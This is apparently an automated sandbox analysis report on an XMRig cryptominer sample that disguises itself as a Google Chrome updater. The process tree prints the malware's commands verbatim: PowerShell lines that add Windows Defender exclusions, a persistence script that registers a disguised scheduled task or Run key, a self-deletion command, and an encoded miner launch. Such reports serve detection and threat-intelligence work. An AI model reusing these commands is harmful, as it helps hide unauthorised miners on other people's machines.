xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
309s
max time network
1787s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2916 created 1256	2916	Be5sCbvuma2nkHDa.exe	11
PID 2916 created 1256	2916	Be5sCbvuma2nkHDa.exe	11
PID 2916 created 1256	2916	Be5sCbvuma2nkHDa.exe	11
PID 2916 created 1256	2916	Be5sCbvuma2nkHDa.exe	11
PID 1204 created 1256	1204	updater.exe	11
PID 1204 created 1256	1204	updater.exe	11
PID 1204 created 1256	1204	updater.exe	11
PID 1204 created 1256	1204	updater.exe	11
PID 1204 created 1256	1204	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral7/memory/2840-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2840-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2576	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1204	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
664	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/2840-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2840-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1204 set thread context of 1612	1204	updater.exe	55
PID 1204 set thread context of 2840	1204	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
108	schtasks.exe
2204	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1880	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 801e788db74fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2916	Be5sCbvuma2nkHDa.exe
2916	Be5sCbvuma2nkHDa.exe
1680	powershell.exe
2916	Be5sCbvuma2nkHDa.exe
2916	Be5sCbvuma2nkHDa.exe
2928	powershell.exe
2916	Be5sCbvuma2nkHDa.exe
2916	Be5sCbvuma2nkHDa.exe
2916	Be5sCbvuma2nkHDa.exe
2916	Be5sCbvuma2nkHDa.exe
2568	powershell.exe
1204	updater.exe
1204	updater.exe
2176	powershell.exe
1204	updater.exe
1204	updater.exe
2016	powershell.exe
1204	updater.exe
1204	updater.exe
1204	updater.exe
1204	updater.exe
1612	conhost.exe
1612	conhost.exe
1204	updater.exe
1204	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	1204	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1880	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1880	WMIC.exe
Token: SeSecurityPrivilege	1880	WMIC.exe
Token: SeTakeOwnershipPrivilege	1880	WMIC.exe
Token: SeLoadDriverPrivilege	1880	WMIC.exe
Token: SeSystemtimePrivilege	1880	WMIC.exe
Token: SeBackupPrivilege	1880	WMIC.exe
Token: SeRestorePrivilege	1880	WMIC.exe
Token: SeShutdownPrivilege	1880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1880	WMIC.exe
Token: SeUndockPrivilege	1880	WMIC.exe
Token: SeManageVolumePrivilege	1880	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1880	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1880	WMIC.exe
Token: SeSecurityPrivilege	1880	WMIC.exe
Token: SeTakeOwnershipPrivilege	1880	WMIC.exe
Token: SeLoadDriverPrivilege	1880	WMIC.exe
Token: SeSystemtimePrivilege	1880	WMIC.exe
Token: SeBackupPrivilege	1880	WMIC.exe
Token: SeRestorePrivilege	1880	WMIC.exe
Token: SeShutdownPrivilege	1880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1880	WMIC.exe
Token: SeUndockPrivilege	1880	WMIC.exe
Token: SeManageVolumePrivilege	1880	WMIC.exe
Token: SeLockMemoryPrivilege	2840	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 2204	2928	powershell.exe	32
PID 2928 wrote to memory of 2204	2928	powershell.exe	32
PID 2928 wrote to memory of 2204	2928	powershell.exe	32
PID 2576 wrote to memory of 2472	2576	cmd.exe	34
PID 2576 wrote to memory of 2472	2576	cmd.exe	34
PID 2576 wrote to memory of 2472	2576	cmd.exe	34
PID 2568 wrote to memory of 1988	2568	powershell.exe	38
PID 2568 wrote to memory of 1988	2568	powershell.exe	38
PID 2568 wrote to memory of 1988	2568	powershell.exe	38
PID 664 wrote to memory of 1204	664	taskeng.exe	37
PID 664 wrote to memory of 1204	664	taskeng.exe	37
PID 664 wrote to memory of 1204	664	taskeng.exe	37
PID 2016 wrote to memory of 108	2016	powershell.exe	47
PID 2016 wrote to memory of 108	2016	powershell.exe	47
PID 2016 wrote to memory of 108	2016	powershell.exe	47
PID 1204 wrote to memory of 1612	1204	updater.exe	55
PID 1648 wrote to memory of 1880	1648	cmd.exe	50
PID 1648 wrote to memory of 1880	1648	cmd.exe	50
PID 1648 wrote to memory of 1880	1648	cmd.exe	50
PID 1204 wrote to memory of 2840	1204	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1256
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2204
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:108
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1648
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1612

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2472

C:\Windows\system32\taskeng.exe
taskeng.exe {87210586-8A34-4461-AB5D-6679A8609E8C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:664
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1204

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1988

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1880

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:1664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
88KB

MD5
2b88b62253e1eff86f643fdd427377af

SHA1
ff149d03a4af8eb304b8a47d23dacad0e8034324

SHA256
fb664962a6581de621db8978a6d931aa3c2a77ae4edb63b96068748623e1321d

SHA512
f03438178be9ea00934b2b7aecdc790d012362a83d664aae2e439d2cf244e225c690affde2ce5bb25706d03dbb7e4a17f15b3c1b6075c87fa048998d7db1a759

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
32KB

MD5
b638bd47f35631aad02c2415bc7d9995

SHA1
6b47431624ac5f2e2338924815aa214c715b45e1

SHA256
a5b3a764d29210d6dbaf1c06b5d9edd0d3c04dfd736fbc5945614c328185cddd

SHA512
34b22277e0bcd054720cf13d66c16c1ad4a346c81a6c7467edceccb6d88a8b6b38ca188ebfef62b090955a7802aef1910de8ca88d61b1d7f05382e43043db0a3

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FO21B7OD620R1VPQK0TT.temp

Filesize
7KB

MD5
e43f60587d14139f0c7a784dc20dc9a3

SHA1
716206a74d13161195385e439ff4ef6daa6db8d3

SHA256
992a22672ea29621133b9a8b099aeb89a25242dc66a68b0e4877f8ff2c75164e

SHA512
1762227095fc3b38c086ac31c4de56d84953427ca9e92c6fcbbd91c3e791450852e14b352b09f77348602e26288ef45e35fc9233f60c6b9a9ff1fb0feeec5d5b

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
67KB

MD5
c3e8e0000dd9434e565bd2d4ca1dd04b

SHA1
80777e1a283ec5b279cc8adebddf9ec6321ac873

SHA256
68dc34e266683ac9aea1f4e09cd10875b2ee1ffc20235f584404e7e95a2023e4

SHA512
423b2e81af813ae545c402872a152a3429a0326fca335ffa27e10050199bd1b172c4f81ab8241785abdf5bac3c7ed36c4ddc7dbd87d28fda22c5fd346d3a5894

Download Submit
memory/1204-45-0x000000013FA00000-0x000000013FC11000-memory.dmp

Filesize
2.1MB

Download
memory/1204-66-0x000000013FA00000-0x000000013FC11000-memory.dmp

Filesize
2.1MB

Download
memory/1612-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1612-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1680-5-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/1680-9-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/1680-7-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/1680-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/1680-8-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/1680-13-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/1680-10-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/1680-12-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/1680-11-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2016-57-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2016-59-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/2016-56-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2016-55-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/2016-54-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2016-53-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/2016-58-0x00000000009D0000-0x0000000000A50000-memory.dmp

Filesize
512KB

Download
memory/2176-52-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-48-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-50-0x0000000001014000-0x0000000001017000-memory.dmp

Filesize
12KB

Download
memory/2176-51-0x0000000001010000-0x0000000001090000-memory.dmp

Filesize
512KB

Download
memory/2176-49-0x0000000001010000-0x0000000001090000-memory.dmp

Filesize
512KB

Download
memory/2176-47-0x0000000001010000-0x0000000001090000-memory.dmp

Filesize
512KB

Download
memory/2176-46-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-37-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-35-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-38-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2568-44-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-40-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2568-39-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2568-36-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2840-80-0x00000000007C0000-0x00000000007E0000-memory.dmp

Filesize
128KB

Download
memory/2840-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-140-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-138-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-68-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/2840-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-69-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2840-70-0x00000000007C0000-0x00000000007E0000-memory.dmp

Filesize
128KB

Download
memory/2840-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-79-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2840-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2840-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
